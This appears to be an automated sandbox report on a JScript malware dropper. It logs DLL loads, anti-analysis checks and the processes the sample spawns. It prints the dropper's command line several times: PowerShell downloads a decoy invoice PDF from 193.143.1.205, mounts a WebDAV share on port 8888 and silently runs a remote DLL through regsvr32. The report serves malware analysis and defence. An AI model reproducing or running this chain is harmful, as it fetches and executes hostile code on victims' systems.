Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9084.js.csv");ITextStream.WriteLine(" entry:7686 f:htifjrf");ITextStream.WriteLine(" exec:2 f:htifjrf");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4260			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5591			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep count: 4260 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7484	Thread sleep count: 5591 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7560	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7764	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8136	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.1685339079.0000019193DAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000008.00000002.2972421833.000001DDA542B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: net.exe, 00000006.00000003.1742499547.00000145C0AAF000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2973759837.000001DDAA858000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000006.00000002.1748264596.00000145C0A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0=
Source: net.exe, 00000006.00000003.1742499547.00000145C0AAF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWb

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\3581963119272.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior
